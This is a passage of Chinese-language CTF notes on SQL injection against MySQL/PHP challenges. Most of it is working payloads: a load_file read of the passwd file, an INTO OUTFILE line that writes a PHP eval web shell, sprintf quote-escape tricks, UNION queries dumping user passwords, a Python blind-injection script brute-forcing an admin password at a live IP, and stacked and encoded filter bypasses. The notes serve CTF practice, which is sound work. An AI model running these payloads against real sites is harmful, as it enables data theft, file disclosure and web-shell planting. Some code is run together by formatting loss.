select @@basedir; //显示文件根目录 show variables like "%char%"; show global variables like '%secure_file_priv%'; select load_file('/ect/passwd'); //读文件 需要开secure-file-priv='/'
select '<?php @eval($_post["mima"])?>' into outfile "位置" //写文件
select * from user where username = '%\' and 1=1#';
然后这句sql语句如果继续进入格式化字符串,\会被%吃掉,’成功逃逸
1 2 3 4 5 6
<?php $sql = "select * from user where username = '%\' and 1=1#';"; $args = "admin"; echosprintf( $sql, $args ) ; //result: select * from user where username = '' and 1=1#' ?>
还可以使用%1$吃掉后面的斜杠,而不引起报错
1 2 3 4 5 6
<?php $sql = "select * from user where username = '%1$\' and 1=1#' and password='%s';"; $args = "admin"; echosprintf( $sql, $args) ; //result: select * from user where username = '' and 1=1#' and password='admin'; ?>
具体题目为下方的迎圣诞,拿大奖”活动赛题sqli
六、题目经典payload
1 2 3 4
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'%23 -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users'%23 -1' union select 1,group_concat(username),group_concat(password) from users%23
“百度杯”CTF比赛 九月场SQLi-过滤了逗号
1
id=1' union select * from (select database()) a join (select version() ) b %23
import requests str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" url="http://123.206.31.85:49167/index.php" r=requests.session() defdatabase(): result="" for i inrange(30): flag = 0 for j in str_all: payload="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i+1),ord(j)) data = { "username": payload, "password": "123" } s=r.post(url,data) print(payload) if"error"in s.text: result+=j flag=1 print('**************************',result) break if flag == 0: break defpassword(): result="" for i inrange(40): flag=0 for j in str_all: payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j)) data = { "username": payload, "password": "123" } s=r.post(url,data) print(payload) if"error"in s.text: result+=j flag=1 print('**************************',result) break if flag==0: break #database() password()
mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢? 这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。 每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。 如果数据库名的第一位的ascii码值不是97,where条件是username='admin'^1^0
1';show databases;# 1';show tables; # 0';show columns from `1919810931114514`;#
(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段) 理论上我们执行 0';select flag,1 from 1919810931114514 但是这题的select被过滤了 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 也可以 -1';use supersqli;show tables;-- 直接获取flag 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# 其中73656c656374202a2066726f6d20603139313938313039333131313435313460加密为select * from `1919810931114514’ 相关知识
1
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
还有骚操作是改表段然后注入获得数据
1
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;
“百度杯”CTF比赛 九月场 SQL
题目描述: 出题人就告诉你这是个注入,有种别走! http://2733aeef10c94e969b49b24dd9e8a99bbdd989b14f4e482e.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,4,3,学到了学到了<>分离 http://2733aeef10c94e969b49b24dd9e8a99bbdd989b14f4e482e.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,database(),3 获得数据库名字sqli然后一步一步 http://2733aeef10c94e969b49b24dd9e8a99bbdd989b14f4e482e.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,column_name,3 from information_schema.columns where table_schema='sqli' an<>d table_name='info' http://2733aeef10c94e969b49b24dd9e8a99bbdd989b14f4e482e.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info 得到flag